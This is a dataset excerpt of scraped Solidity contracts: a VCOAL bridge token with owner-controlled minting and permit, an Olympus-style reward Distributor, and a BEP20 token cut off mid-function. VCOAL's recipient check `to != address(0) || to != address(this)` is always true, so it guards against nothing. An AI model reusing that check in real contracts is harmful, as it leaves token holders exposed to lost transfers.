hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a9afc326b629ab9aae847a43e736f49eee805e2b61483e34bae7226119fb241a
| 22,098 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/3e/3edcefd623dfb24b6ffb78a951c988773615f492_VCOAL.sol
| 3,836 | 14,677 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IWERC10 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's WERC10 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` WERC10 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` WERC10 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/// balance of ETH deposited minus the ETH withdrawn with that specific wallet.
contract VCOAL is IWERC10 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable decimals;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of WERC10 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
address private _oldOwner;
address private _newOwner;
uint256 private _newOwnerEffectiveTime;
modifier onlyOwner() {
require(msg.sender == owner(), "only owner");
_;
}
function owner() public view returns (address) {
if (block.timestamp >= _newOwnerEffectiveTime) {
return _newOwner;
}
return _oldOwner;
}
function changeDCRMOwner(address newOwner) public onlyOwner returns (bool) {
require(newOwner != address(0), "new owner is the zero address");
_oldOwner = owner();
_newOwner = newOwner;
_newOwnerEffectiveTime = block.timestamp + 2*24*3600;
emit LogChangeDCRMOwner(_oldOwner, _newOwner, _newOwnerEffectiveTime);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyOwner returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(bindaddr != address(0), "bind address is the zero address");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeDCRMOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _owner) {
name = _name;
symbol = _symbol;
decimals = _decimals;
_newOwner = _owner;
_newOwnerEffectiveTime = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of WERC10 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's WERC10 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's WERC10 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "WERC10: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool) {
require(block.timestamp <= deadline, "WERC10: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "WERC10: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) {
bytes32 hash = prefixed(hashStruct);
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/// @dev Moves `value` WERC10 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` WERC10 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WERC10: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of WERC10 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "WERC10: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "WERC10: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` WERC10 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` WERC10 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "WERC10: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 107,655 | 13,100 |
59d72ffa8471b33c71c8d320cf38347b613725c87b94f5b1274d6475f1a85b52
| 18,012 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/6b/6b045f48cf5cf5a9a12044baf87b4e650bf96646_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 86,695 | 13,101 |
957c047f8ccb714018fbcf6455a0894ddcd5b0cd6b86ea4d7c426a90362e571b
| 31,266 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/75/758f19a8bdbc2663d59a7feaee2b8ffd02f14a0f_ArbiFrozenToken.sol
| 3,405 | 13,503 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private MAXCAP;
uint256 constant MAXCAPSUPPLY = 100000 * (10 ** 18);
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return MAXCAPSUPPLY;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
